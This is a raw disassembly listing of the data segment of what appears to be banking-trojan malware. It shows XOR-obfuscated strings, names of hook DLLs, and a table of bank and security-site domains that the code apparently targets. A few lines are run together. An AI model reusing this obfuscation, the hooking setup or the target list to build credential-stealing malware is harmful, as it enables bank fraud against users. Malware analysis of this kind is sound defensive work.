aV@zc		db 'v@zc',0             ; DATA XREF: sub_40B3E8+813o
		align 4
asc_446AB8	db 'Ô',0                ; DATA XREF: sub_40B3E8+7C7o
asc_446ABA	db 'ÙÞ',0               ; DATA XREF: sub_40B3E8+6F6o
byte_446ABD	db 81h,	0BAh, 0B5h	; DATA XREF: sub_40B3E8+5F9o
		dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h
		db 0
byte_446AD1	db 81h,	0BAh, 0B5h	; DATA XREF: sub_40B3E8+5E7o
		dd 0F4B1B8B6h, 0B5F4BBA0h, 0BBBCA0A1h, 0B1AEBDA6h, 9DF4F9F4h
		dd 869B979Ah, 80979186h, 9A9D84F4h, 0B884F4FAh,	0B1A7B5B1h
		dd 0BBB7F4F8h, 0B7B1A6A6h
		db 0A0h, 0FAh, 0
byte_446B07	db 0F1h			; DATA XREF: sub_40B3E8+43Co
		dd 0A7F1F9A7h
		db 0
byte_446B0D	db 84h,	0B8h, 0B1h	; DATA XREF: sub_40B3E8+406o
		dd 0F8B1A7B5h, 0B8B1A7F4h, 0F4A0B7B1h, 0BDA4AC91h, 0BDA0B5A6h
		dd 8DF4BABBh, 0A6B5B1h
dword_446B2C	dd 0F1F4A7F1h						; sub_40B3E8+639o
		db 0A7h, 0
word_446B32	dw 0B884h		; DATA XREF: sub_40B3E8+387o
		dd 0B1A7B5B1h, 0B1A7F4F8h, 0A0B7B1B8h, 0A4AC91F4h, 0A0B5A6BDh
		dd 0F4BABBBDh, 0A0BABB99h
		db 0BCh, 0
word_446B52	dw 0A7F1h		; DATA XREF: sub_40B3E8+337o
		db 0
byte_446B55	db 97h,	98h, 87h	; DATA XREF: sub_40AA24+768o
		dd 0F188909Dh, 0BA9D88A7h, 0B7BBA684h, 0A2A6B187h, 0E6E7A6B1h
		db 0
byte_446B6D	db 82h,	0		; DATA XREF: sub_40AA24+73Do
byte_446B6F	db 9Fh			; DATA XREF: sub_40AA24+716o
		db 0
aZAgJIsJZAigGzi	db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§ˆ—¡¦¦±º ‚±¦§½»ºˆ‡¼±¸¸‡±¦¢½·±›¶¾±· ±¸µ­'
					; DATA XREF: sub_40AA24+6DEo
		db '˜»µ°',0
aJZaJzJvDjZz	db '†±³½§ ±¦‡±¦¢½·±„¦»·±§§',0 ; DATA XREF: sub_40AA24+5F2o
word_446BCE	dw 0B1BFh		; DATA XREF: sub_40AA24+5DEo
		dd 0B8B1BAA6h, 0B0FAE6E7h
		db 2 dup(0B8h),	0
byte_446BDB	db 88h			; DATA XREF: sub_40AA24+4B3o
		dd 0A0BBBBB6h, 0A7ADA7FAh
		db 0
byte_446BE5	db 0F1h, 0A7h, 88h	; DATA XREF: sub_40AA24+467o
		dd 0B2B0ACB0h, 0FAA2B8AEh, 0A0B5B0h
aDatkkq32_dll	db 'datkkq32.dll',0     ; DATA XREF: sub_40AA24+440o
aDnkkq_dll	db 'dnkkq.dll',0        ; DATA XREF: sub_40AA24+41Ao
aKkq32_dll	db 'kkq32.dll',0        ; DATA XREF: sub_40AA24+3F4o
byte_446C15	db 0F1h, 0A7h, 88h	; DATA XREF: sub_40AA24+3EAo
					; sub_40AA24+410o ...
		db 0F1h, 0A7h, 0
byte_446C1B	db 0F1h			; DATA XREF: sub_40AA24+2FFo
		dd 0A7F188A7h, 0B1ACB1FAh
		db 0
aZ_1		db '±ºµ¶¸±°§²',0        ; DATA XREF: sub_40AA24+A6o
byte_446C2F	db 88h			; DATA XREF: sub_40AA24+4Do
		dd 0A2BDA6B0h, 88A7A6B1h, 0A7BDB0BAh, 0A7FAB0A6h, 0A7ADh
dbl_446C44	dq 1.2			; DATA XREF: sub_4098A8+1002r
dword_446C4C	dd 0A6B2BDE8h, 0F4B1B9B5h, 0E9B7A6A7h, 0A4A0A0BCh, 0F1FBFBEEh
					; DATA XREF: sub_4098A8+EBCo
		dd 0FBE8EAA7h, 0B5A6B2BDh, 0EAB1B9h
aSA		db 'è¼ ¹¸ê',0           ; DATA XREF: sub_4098A8+DFBo
byte_446C73	db 0B0h			; DATA XREF: sub_4098A8+D86o
		dd 0F4A7BBB0h
		db 0
aGvJ		db 'º±£¢±¦',0           ; DATA XREF: sub_4098A8+D45o
aMC		db '¬°æ',0              ; DATA XREF: sub_4098A8+CBAo
dword_446C84	dd 0B0A4A1A3h			db 0F4h, 0
word_446C8A	dw 0A7F1h		; DATA XREF: sub_4098A8+BAAo
		dd 0F497FBF4h
		db 0F1h, 0A7h, 0
byte_446C93	db 88h			; DATA XREF: sub_4098A8+B78o
		dd 0B9B9BBB7h, 0FAB0BAB5h, 0B9BBB7h
dword_446CA0	dd 0B788A7F1h, 0B5B9B9BBh, 0A4FAB0BAh		db 0BDh, 0B2h, 0
byte_446CAF	db 88h			; DATA XREF: sub_4098A8+B1Ao
		dd 0FAB0B9B7h, 0B1ACB1h
dword_446CB8	dd 0B788A7F1h, 0A4FAB0B9h		db 0BDh, 0B2h, 0
byte_446CC3	db 0EEh			; DATA XREF: sub_4098A8+A5Eo
		dd 0A1E6E4F1h
		db 0
aIDsc		db 'ë°¹¤éæ',0           ; DATA XREF: sub_4098A8+933o
dword_446CD0	dd 0F188A7F1h, 0B9A0FAA7h		db 0A4h, 0
word_446CDA	dw 0A4A3h		; DATA XREF: sub_4098A8+4F0o
		dd 0F4A0A7h
byte_446CE0	db 0A5h, 0		; DATA XREF: sub_4098A8+272o
					; sub_4098A8+616o ...
word_446CE2	dw 0BDEBh		; DATA XREF: sub_4098A8+21Ao
		dd 0F1E9B7B2h
		db 0A1h, 0
word_446CEA	dw 0B2BDh		; DATA XREF: sub_4098A8+1C6o
					; sub_4098A8+31Bo
		db 0B7h, 0
aZAgJIsJZAigGz	db '‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§',0 ; DATA XREF: sub_4098A8+1B4o
					; sub_4098A8+309o
byte_446D09	db 0FBh, 0A3h, 0B7h	; DATA XREF: sub_4098A8+171o
		dd 0A4FAB2B1h
		db 0BCh, 0A4h, 0
byte_446D13	db 0FBh			; DATA XREF: sub_4098A8+13Co
		db 0
byte_446D15	db 0BCh, 2 dup(0A0h)	; DATA XREF: sub_4098A8+116o
		dd 0FBFBEEA4h
		db 0F1h, 0A7h, 0
byte_446D1F	db 0F1h			; DATA XREF: sub_4098A8+BBo
					; sub_4098A8+5E6o ...
		dd 0A7F188A7h, 0A0B5B0FAh
		db 0
byte_446D29	db 97h,	0B8h, 0BDh	; DATA XREF: sub_408ED0+773o
		dd 9BF4BFB7h, 0F4B1B7BAh, 97F4BB80h, 0BDA0BABBh, 0B1A1BAh
aCbaai		db '–€€›š',0           ; DATA XREF: sub_408ED0+761o
aSraa		db '‘€',0             ; DATA XREF: sub_408ED0+667o
					; sub_408ED0+6D7o
dword_446D4C	dd 0B5B1B884h, 0B9F4B1A7h, 0F4B1BFB5h, 0A6A6BBB7h, 0BDA0B7B1h
					; DATA XREF: sub_408ED0+5C0o
		dd 0F4A7BABBh, 0F4B0BAB5h, 0F4ADA6A0h, 0BDB5B3B5h
		db 0BAh, 0FAh, 0
byte_446D73	db 81h			; DATA XREF: sub_408ED0+547o
		dd 0B8B6B5BAh, 0BBA0F4B1h, 0A0A1B5F4h, 0BDA6BBBCh, 0F4FAB1AEh
		dd 0F4998095h, 0F99A9D84h, 0B1B0BB97h, 0F4A7BDF4h, 0A1A5B1A6h
		dd 0B0B1A6BDh, 0F4BBA0F4h, 0A4B9BBB7h, 0B1A0B1B8h, 0B1BCA0F4h
		dd 0B5A6A0F4h, 0B7B5A7BAh, 0BABBBDA0h
		db 0FAh, 0
word_446DBE	dw 8095h		; DATA XREF: sub_408ED0+4D2o
		dd 9D84F499h, 0BB97F99Ah
		db 0B0h, 0B1h, 0
byte_446DCB	db 91h			; DATA XREF: sub_408ED0+460o
		dd 0A6BDA4ACh, 0BBBDA0B5h, 0B5B0F4BAh
		db 0A0h, 0B1h, 0
byte_446DDB	db 8Dh			; DATA XREF: sub_408ED0+3EAo
		dd 0F4A6A1BBh, 0B0A6B5B7h, 0B9A1BAF4h, 0A6B1B6h
dword_446DEC	dd 0FAF1E4E6h			db 0E6h, 0A1h, 0
byte_446DF3	db 0F1h			; DATA XREF: sub_408ED0+328o
		dd 0A1E6FAh
aCiscicim	db '—›™–›–›Œ',0         ; DATA XREF: sub_408ED0+22Bo
					; sub_408ED0+289o
byte_446E01	db 0DEh, 2 dup(0F4h)	; DATA XREF: sub_408ED0+103o
		dd 0A0A195F4h, 0BDA6BBBCh, 0BDA0B5AEh, 92F4BABBh, 0B1B8BDB5h
		db 0B0h, 0FAh, 0
aZaxaac		db '‡€•€—',0           ; DATA XREF: sub_408ED0+F1o
					; sub_408ED0+15Eo ...
aKkqhook	db 'KKQHOOK',0          ; DATA XREF: sub_408ED0+CDo
					; sub_4098A8+288o ...
		db 0
aSmdJJ		db '‘¬¤¸»¦±¦',0         ; DATA XREF: sub_408ED0+3Ao
					; sub_40B3E8+C1o
aRIA		db '»·›¶¾±· ',0        ; DATA XREF: sub_408ED0+1Eo
					; sub_40B3E8+9Eo
word_446E3E	dw 0D3C6h		; DATA XREF: sub_408B4C+177o
		dd 0F6EAE2FFh, 0B4FFE8F5h, 0BAFFE2FFh
		db 0
byte_446E4D	db 0CAh, 0FBh, 0EEh	; DATA XREF: sub_408B4C+F4o
		db 0F2h, 0
word_446E52	dw 0F5C9h		; DATA XREF: sub_408B4C+DFo
		dd 0FBEDEEFCh, 0D7C6FFE8h, 0F5E8F9F3h, 0EEFCF5E9h, 0BADFD3C6h
		dd 0EFEEFFC9h, 0FFC9C6EAh, 0EAEFEEh
dword_446E74	dd 0F7EEF2B4h			db 0
byte_446E79	db 66h,	59h, 57h	; DATA XREF: sub_40844F+FEo
		dd 425F145Eh, 79151A5Fh, 5B4E491Ah, 591A4E48h, 55586600h
		dd 49144E55h
		db 43h,	49h, 0
byte_446E97	db 1Fh			; DATA XREF: sub_40844F+D9o
		dd 57596649h, 534A145Eh
		db 5Ch,	0
word_446EA2	dw 5166h		; DATA XREF: sub_40833E+71o
		dd 5F54485Fh, 14080956h, 56565Eh
byte_446EB0	db 0F0h, 0F7h, 0	; DATA XREF: sub_408048+229o
aTtSsSkPs	db 'Óš’’š‘˜Óœ™Šœ˜',0   ; DATA XREF: sub_406D2E+F05o
aTtSs		db 'Óš’’š‘˜Ó',0         ; DATA XREF: sub_406D2E+ED8o
asc_446ECB	db 'Ý',0                ; DATA XREF: sub_406D2E+E6Bo
asc_446ECD	db 'Ç',0                ; DATA XREF: sub_406D2E+DE9o
aE		db 'ÝØ¥Ç',0             ; DATA XREF: sub_406D2E+D83o
aB_0		db '',0                ; DATA XREF: sub_406D2E+6CFo
aPVEPVE		db 'Á»¯¼°¸¢Ø¥Ð»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+625o
aNPVE		db 'Á°¼´³­ºÐ»²¯°¢Ø¥ÃÝ',0 ; DATA XREF: sub_406D2E+5DCo
aName:					; DATA XREF: sub_406D2E+3Do
		unicode	0, <name>,0
		align 4
aValue:					; DATA XREF: sub_406D2E+2Do
		unicode	0, <value>,0
unk_446F14	db  5Bh	; [		; DATA XREF: sub_406A40+A8o
		db 7Fh,	75h, 64h
aYeypb6_xbsdxsb	db 'yeypb6_xbsdxsb6Snfzydsd',0
a9ba05972F6a811:			; DATA XREF: sub_40696D+34o
		unicode	0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
aHtml		db '<HTML><!--',0       ; DATA XREF: sub_4061F7+4E4o
					; sub_4061F7+4EFo ...
aXOkrecv11	db 'X-okRecv11',0       ; DATA XREF: sub_4061F7+422o
aUyznQy		db 'uyzN]QY',0          ; DATA XREF: sub_4061F7+389o
dword_446F9C	dd 49194F19h, 711C111Ch, 534E5F55h, 485A534Fh, 4852751Ch
					; DATA XREF: sub_4061F7+340o
		dd 59524E59h, 44791C48h, 4E53504Ch
		db 59h,	4Eh, 0
byte_446FBF	db 60h			; DATA XREF: sub_4061F7+1EAo
		dd 4C445975h, 594E5350h, 59445912h
		db 1Ch,	0
aLHt		db 'l]HT',0             ; DATA XREF: sub_4061F7+B5o
byte_446FD3	db 6Fh			; DATA XREF: sub_4061F7+A3o
		dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 79756048h
		dd 48596F1Ch, 6F604C49h, 4C494859h
		db 0
byte_446FF5	db 7Dh,	2 dup(4Ch)	; DATA XREF: sub_405E88+333o
		dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
		dd 504C4479h, 4E594E53h, 485F7D60h, 485D4A55h, 785B5255h
		dd 51495F53h, 60485259h, 4E497F12h, 4852594Eh
		db 0
byte_447031	db 7Dh,	2 dup(4Ch)	; DATA XREF: sub_405E88+309o
		dd 52594A79h, 6F604F48h, 5159545Fh, 7D604F59h, 604F4C4Ch
		dd 504C4479h, 4E594E53h, 4A5D7260h, 485D5B55h, 605B5255h
		dd 4E497F12h, 4852594Eh
		db 0
aPsPioynszzpury	db '{PS^]PiOYNsZZPURY',0 ; DATA XREF: sub_405E88+2CCo
byte_447077	db 6Fh			; DATA XREF: sub_405E88+2BAo
		dd 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h, 556B6048h
		dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
		dd 48527560h, 59524E59h, 596F1C48h, 52554848h
		db 5Bh,	4Fh, 0
byte_4470B3	db 55h			; DATA XREF: sub_405E88+271o
		dd 504C4459h, 12594E53h, 594459h
dword_4470C0	dd 6F604F19h, 4B485A53h, 60594E5Dh, 4E5F5571h, 5A534F53h
					; DATA XREF: sub_405E88+245o
		dd 52756048h, 524E5948h, 791C4859h, 53504C44h, 604E594Eh
		dd 52555D71h, 5D597A60h, 594E4948h, 4852537Fh, 6050534Eh
		dd 687D797Ah, 63796E69h, 7D7F7370h, 7F7D7170h, 79727574h
		dd 7F737063h, 6B737877h
		db 72h,	0
word_44711A	dw 5945h		; DATA XREF: sub_405E88+1E1o
		db 4Fh,	0
aNskoyryklns_yo	db '~NSKOYrYKlNS_YOO',0 ; DATA XREF: sub_405E88+1CFo
byte_44712F	db 12h			; DATA XREF: sub_405E88+1BDo
		dd 7D7A7978h, 60687069h, 687A736Fh, 796E7D6Bh, 5F557160h
		dd 534F534Eh, 6B60485Ah, 53585255h, 7F604F4Bh
aInnyrhjynousrY	db 'INNYRHjYNOUSR`yDLPSNYN`~NSKOYrYKlNS_YOO',0
dword_44717C	dd 687A736Fh, 796E7D6Bh, 50536C60h, 59555F55h, 5571604Fh
					; DATA XREF: sub_405E88+101o
		dd 4F534E5Fh, 60485A53h, 5852556Bh, 604F4B53h, 4E4E497Fh
		dd 6A485259h, 554F4E59h, 75605253h, 4E594852h, 1C485952h
		dd 4848596Fh, 4F5B5255h, 52536660h, 19604F59h
		db 49h,	0
word_4471CA	dw 0A0Dh		; DATA XREF: sub_405E88+7Ao
					; sub_405E88+B7o ...
		db 0Ch,	0Dh, 0
byte_4471CF	db 6Fh			; DATA XREF: sub_405E88+54o
		dd 6B687A73h, 60796E7Dh, 4E5F5571h, 5A534F53h, 556B6048h
		dd 4B535852h, 497F604Fh, 52594E4Eh, 4E596A48h, 5253554Fh
		dd 48527560h, 59524E59h, 596F1C48h, 52554848h, 66604F5Bh
		dd 4F595253h, 491960h
dword_447214	dd 48541300h, 25051hdword_44721C	dd 535E1300h, 24558hdword_447224	dd 5F4F1300h, 484C554Eh		db 2, 0
word_44722E	dw 594Fh		; DATA XREF: sub_4054C8+84Ao
		dd 51556848h, 48495359h, 4F191E14h, 101E1514h, 7154919h
		db 0
byte_447245	db 41h,	0		; DATA XREF: sub_4054C8+825o
byte_447247	db 58h			; DATA XREF: sub_4054C8+7DBo
		dd 51495F53h, 12485259h, 4F124F19h, 55515E49h, 7151448h
		db 0
byte_44725D	db 5Ah,	49h, 52h	; DATA XREF: sub_4054C8+79Bo
		dd 5355485Fh, 4F191C52h, 471514h
dword_44726C	dd 12195F19h			db 0Eh,	49h, 0
byte_447273	db 0			; DATA XREF: sub_4054C8+6F1o
		dd 554E5F4Fh, 2484Ch
dword_44727C	dd 535A1300h, 2514Ehdword_447284	dd 4C525500h, 481C4849h, 1594C45h, 5E494F1Eh, 1E485551h
					; DATA XREF: sub_4054C8+6A8o
		dd 505D4A1Ch, 1B015949h
		db 1Bh,	2, 0
off_4472A3	dd offset loc_404F16+3	; DATA XREF: sub_4054C8+565o
byte_4472A7	db 0			; DATA XREF: sub_4054C8+494o
					; sub_4054C8+612o
		dd 494C5255h, 45481C48h, 1E01594Ch, 48555859h, 5D4A1C1Eh
		dd 1594950h, 1B4F191Bh,	515D521Ch, 191B0159h, 1B49194Fh
		dd 4E5E0002h, 363102h
dword_4472D8	dd 4C525500h, 481C4849h, 1594C45h, 5558591Eh, 4A1C1E48h
					; DATA XREF: sub_4054C8+326o
		dd 5949505Dh, 49191B01h, 5D521C1Bh, 1B015951h, 21B5Dh
		dd 31024E5Eh
		db 36h,	0
word_447306	dw 5A00h		; DATA XREF: sub_4054C8+2C9o
		dd 1C514E53h, 55485F5Dh, 1E015253h, 1C1E4F19h, 54485951h
		dd 1E015853h, 686F736Ch, 5D521C1Eh, 1E015951h, 21E4F19h
		db 0
byte_447331	db 5Ah,	19h, 12h	; DATA XREF: sub_4054C8+286o
		db 0Fh,	49h, 0
byte_447337	db 0			; DATA XREF: sub_4054C8+250o
		dd 4558535Eh
		db 2, 0
word_44733E	dw 1300h		; DATA XREF: sub_4054C8+224o
		dd 585D5954h
		db 2, 0
aMicrosoftCorp	db 'MicroSoft-Corp',0   ; DATA XREF: sub_4054C8+1F8o
					; sub_4061F7+350o
byte_447355	db 0, 48h, 55h		; DATA XREF: sub_4054C8+1E8o
		dd 2595048h, 49194F19h,	55481300h, 2595048h
		db 0
byte_447369	db 0, 54h, 59h		; DATA XREF: sub_4054C8+1BFo
		dd 2585Dh
dword_447370	dd 51485400h			db 50h,	2, 0
byte_447377	db 12h			; DATA XREF: sub_4054C8+168o
		dd 514854h
dword_44737C	dd 5F194F19h						; sub_4054C8+412o
		db 19h,	5Fh, 0
byte_447383	db 16h			; DATA XREF: sub_40523D:loc_4052F5o
		db 12h,	16h, 0
byte_447387	db 3			; DATA XREF: sub_40523D+4Do
		db 0
byte_447389	db 56h,	5Eh, 17h	; DATA XREF: sub_404EC6+15Eo
		db 0Eh,	0
word_44738E	dw 175Eh		; DATA XREF: sub_404EC6+FAo
		db 0Eh,	0
word_447392	dw 34Bh			; DATA XREF: sub_404EC6+8Co
		dd 13494B5Eh, 494B5E03h, 4B5E0313h, 5E031349h, 313494Bh
		dd 13494B5Eh, 494B5E03h
		db 13h,	3, 0
byte_4473B3	db 28h			; DATA XREF: sub_404EC6+57o
		dd 0E175E56h
		db 56h,	0
aKsI_3		db 'Š™ÕÓØÂÓĈ',0        ; DATA XREF: sub_404D2E+95o
aKI_0		db 'ŠÕÓØÂÓĈ',0         ; DATA XREF: sub_404D2E+5Do
aKsI_2		db 'Š™ÐÙØÂˆ',0          ; DATA XREF: sub_404D2E+14o
aKsI_1		db 'Š™Ãˆ',0             ; DATA XREF: sub_404B85+190o
aKsI_0		db 'Š™Ôˆ',0             ; DATA XREF: sub_404B85+168o
aKsI		db 'Š™ßˆ',0             ; DATA XREF: sub_404B85+130o
aKI_1		db 'Šßˆ',0              ; DATA XREF: sub_404B85+103o
aKI_2		db 'ŠÃˆ',0              ; DATA XREF: sub_404B85+DBo
aKI_3		db 'ŠÔˆ',0              ; DATA XREF: sub_404B85+99o
aKI		db 'ŠÔĈ',0             ; DATA XREF: sub_404B85+63o
aIiic		db '››ˆ–',0             ; DATA XREF: sub_40481B+200o
aKciic		db 'Š—››–',0            ; DATA XREF: sub_40481B+6Do
asc_447400	db '»¼',0               ; DATA XREF: sub_40479E+64o
					; sub_404D2E+DEo
aSsuUU		db '™™“Õ“Õ“Õ»¼',0       ; DATA XREF: sub_40470D+46o
aCuUUClcuN	db 'À×Ä–“Õ“Õ“Õ–‹–“Ã',0 ; DATA XREF: sub_4045EF+6Fo
aCS		db '–œ™',0              ; DATA XREF: sub_4045EF+39o
aUU		db '“Å“Õ',0             ; DATA XREF: sub_4045EF-31o
					; sub_40481B+ABo ...
aSC		db '™œ–',0              ; DATA XREF: sub_404586+2o
aBlind_user	db 'blind_user',0       ; DATA XREF: sub_4043CA+65o
					; sub_40446E+12o
aSS		db '¿éºµÙº¿é',0         ; DATA XREF: sub_4040AA+247o
dword_447440	dd 0F5F5F6A0h, 0DA9097EAh, 0BAF6FFFEh, 0F4A4E9BFh, 9097F6EFh
					; DATA XREF: sub_4040AA+1D4o
		dd 0BAFCF3DAh, 0E9F3E2FFh, 0E9BFBAEEh, 0EEF5FDBAh, 0F5F6BAF5h
		dd 9097EAF5h, 0F6FFFEDAh, 0A4E9BFBAh, 97F6EFF4h
		db 90h,	0
word_44747A	dw 0F9C6h		; DATA XREF: sub_4040AA+16Fo
		dd 0FBF7F7F5h, 0F9B4FEF4h
		db 0F5h, 0F7h, 0
byte_447487	db 0BFh			; DATA XREF: sub_4040AA+13Co
		dd 0F5F9C6E9h, 0F4FBF7F7h, 0F3EAB4FEh
		db 0FCh, 0
word_447496	dw 0E9BFh		; DATA XREF: sub_4040AA+117o
		dd 0F6E9E2C6h, 0A3F6FEFCh, 0FBF8B4E2h
		db 0EEh, 0
word_4474A6	dw 0F9C6h		; DATA XREF: sub_4040AA+DBo
		dd 0FFB4FEF7h
		db 0E2h, 0FFh, 0
byte_4474AF	db 0BFh			; DATA XREF: sub_4040AA+BBo
		dd 0F7F9C6E9h, 0F3EAB4FEh
		db 0FCh, 0
word_4474BA	dw 0E9BFh		; DATA XREF: sub_4040AA+9Bo
		dd 0F6E9E2C6h, 0F4F6FEFCh, 0FBF8B4EEh
		db 0EEh, 0
aKNoLEfLKNeoOke	db 'ж¿­®¸«¼…”°º«¶ª¶¿­…ް·½¶®ª…𬫫¼·­¼«ª°¶·…б¼µµŠ¼«¯°º¼–»³¼º­¼µ¸ '
					; DATA XREF: sub_403BE7+332o
		db '•¶¸½',0
aSiLnN		db '˜©¸«­´¼·­',0        ; DATA XREF: sub_403BE7+30Do
aNLF		db '±«¼¸½°·¾”¶½¼µ',0   ; DATA XREF: sub_403BE7+2FBo
byte_447529	db 0			; DATA XREF: sub_403BE7+2DEo
					; sub_405E88+317o ...
word_44752A	dw 959Ah		; DATA XREF: sub_403BE7+2B4o
		dd 859D908Ah, 9085AAFCh, 0B6AB89B7h, 0ABBC8ABAh, 0EAABBCAFh
		db 0EBh, 0
word_447542	dw 0AAFCh		; DATA XREF: sub_403BE7+210o
		dd 0F7AAFC85h, 0B5B5BDh
dword_44754C	dd 0EDE9FCA2h, 0EDE9FC81h, 0E9FCF481h, 0FCF481EDh, 0F481EDE9h
					; DATA XREF: sub_403BE7+2Bo
		dd 81EDE9FCh, 0EDE9FCF4h, 2 dup(0EDE9FC81h)
		db 81h,	0A4h, 0
byte_447573	db 0F9h			; DATA XREF: sub_403A5F+130o
		db 0
byte_447575	db 0FCh, 0AAh, 85h	; DATA XREF: sub_403A5F+53o
		dd 0BCF7AAFCh
		db 0A1h, 0BCh, 0
byte_44757F	db 0FCh			; DATA XREF: sub_40399B+7Do
		dd 81E1E9h
byte_447584	db 56h,	0		; DATA XREF: sub_4037CA+32o
					; .text:00403896o
word_447586	dw 83h			; DATA XREF: sub_4036BC+2Fo
byte_447588	db 0E3h, 0		; DATA XREF: sub_4035DB+9Bo
word_44758A	dw 0E995h		; DATA XREF: sub_40341E+32o
					; sub_40349A+3Fo
		db 0
aChevychasebank	db 'chevychasebank.com',0 ; DATA XREF: .data:0043C1E0o
aGronxplanets_r	db 'gronxplanets.ru',0  ; DATA XREF: .data:0043C1DCo
aWww_mdmbank_ru	db 'www.mdmbank.ru',0   ; DATA XREF: .data:0043C1D8o
aFethard_biz	db 'fethard.biz',0      ; DATA XREF: .data:0043C1D4o
aRoyalbank_com	db 'royalbank.com',0    ; DATA XREF: .data:0043C1D0o
aSecuritylab_ru	db 'securitylab.ru',0   ; DATA XREF: .data:0043C1CCo
aTatNeftbank_ru	db 'tat-neftbank.ru',0  ; DATA XREF: .data:0043C1C8o
aSeclab_ru	db 'seclab.ru',0        ; DATA XREF: .data:0043C1C4o
aOpenbank_com	db 'openbank.com',0     ; DATA XREF: .data:0043C1C0o
aGutabank_ru	db 'gutabank.ru',0      ; DATA XREF: .data:0043C1BCo
aWww_b2bTrust_c	db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043C1B8o
aGrepwareFacili	db 'grepware-facility.ru',0 ; DATA XREF: .data:0043C1B4o
aWww_uralsib_ru	db 'www.uralsib.ru',0   ; DATA XREF: .data:0043C1B0o
a53bank_com	db '53bank.com',0       ; DATA XREF: .data:0043C1ACo
aWww_nbc_caInde	db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043C1A8o
aTotallyfreeban	db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043C1A4o
aBarclays_com	db 'barclays.com',0     ; DATA XREF: .data:0043C1A0o
aWww_lbcdirect_	db 'www.lbcdirect.laurentianbank.ca/index.php',0
					; DATA XREF: .data:0043C19Co
aKidosBank_ru	db 'kidos-bank.ru',0    ; DATA XREF: .data:0043C198o
aYambo_biz	db 'yambo.biz',0        ; DATA XREF: .data:0043C194o
aProrat_net	db 'prorat.net',0       ; DATA XREF: .data:0043C190o
aWww1_hsbc_caIn	db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043C18Co
aWww_ovk_ru	db 'www.ovk.ru',0       ; DATA XREF: .data:0043C188o
aWww_rbc_com	db 'www.rbc.com',0      ; DATA XREF: .data:0043C184o
aMasterX_comFor	db 'master-x.com/forum/',0 ; DATA XREF: .data:0043C180o
aWww_allahabadb	db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043C17Co
aOnlineBusiness	db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043C178o
aMyonlineaccoun	db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043C174o
aWww_absolutban	db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043C170o
aKavkazcenter_c	db 'kavkazcenter.com/russ',0 ; DATA XREF: .data:0043C16Co
aWww_netmagiste	db 'www.netmagister.com',0 ; DATA XREF: .data:0043C168o
aWww_kmb_ru	db 'www.kmb.ru',0       ; DATA XREF: .data:0043C164o
aWww_spyinstruc	db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043C160o
aAcroleinHawk_r	db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
					; DATA XREF: .data:0043C15Co
aWww_icbank_ru	db 'www.icbank.ru',0    ; DATA XREF: .data:0043C158o
aWww_bankofindi	db 'www.bankofindia.com',0 ; DATA XREF: .data:0043C154o
aPizdabolInc_ru	db 'pizdabol-inc.ru',0  ; DATA XREF: .data:0043C150o
aWww_sbrf_ru	db 'www.sbrf.ru',0      ; DATA XREF: .data:0043C14Co
aWww_candidatev	db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043C148o
aWww_worldbank_	db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043C144o
aDigitalRelaxkg	db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043C140o
aAsmworm_com	db 'asmworm.com',0      ; DATA XREF: .data:0043C138o
aAtmacasoft_com	db 'atmacasoft.com',0   ; DATA XREF: .data:0043C134o
aCrutop_nuVbu_1	db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043C130o
aWww_uniastrum_	db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043C12Co
aCrutop_nuVbu_0	db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043C128o
aWww_mmbank_ru	db 'www.mmbank.ru',0    ; DATA XREF: .data:0043C124o
aCrutop_nuVbull	db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043C120o
aAlfabank_ru	db 'alfabank.ru',0      ; DATA XREF: .data:0043C11Co
aHyperSpaceFuel	db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043C118o
aWww_cwbank_com	db 'www.cwbank.com',0   ; DATA XREF: .data:0043C114o
aWww_vtb_ru	db 'www.vtb.ru',0       ; DATA XREF: .data:0043C110o
aWww_cibc_com	db 'www.cibc.com',0     ; DATA XREF: .data:0043C10Co
aWww_bankofmadu	db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043C108o
aWww_bmo_com	db 'www.bmo.com',0      ; DATA XREF: .data:0043C104o
aWww_bankBanque	db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043C100o
aWww_masterbank	db 'www.masterbank.ru',0 ; DATA XREF: .data:0043C0FCo
aEbookfinaltras	db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043C0F8o
aMasterX_com	db 'master-x.com',0     ; DATA XREF: .data:0043C0F4o
aWww_bbin_ru	db 'www.bbin.ru',0      ; DATA XREF: .data:0043C0F0o
aOlb2_nationet_	db 'olb2.nationet.com',0 ; DATA XREF: .data:0043C0ECo
aWelcome3_smile	db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043C0E8o
aWww_baltbank_r	db 'www.baltbank.ru',0  ; DATA XREF: .data:0043C0E4o
aNew_egg_com	db 'new.egg.com',0      ; DATA XREF: .data:0043C0E0o
aProdexteam_n_1	db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043C0DCo
aWww_proxySocks	db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043C0D8o
					; .data:0043C13Co
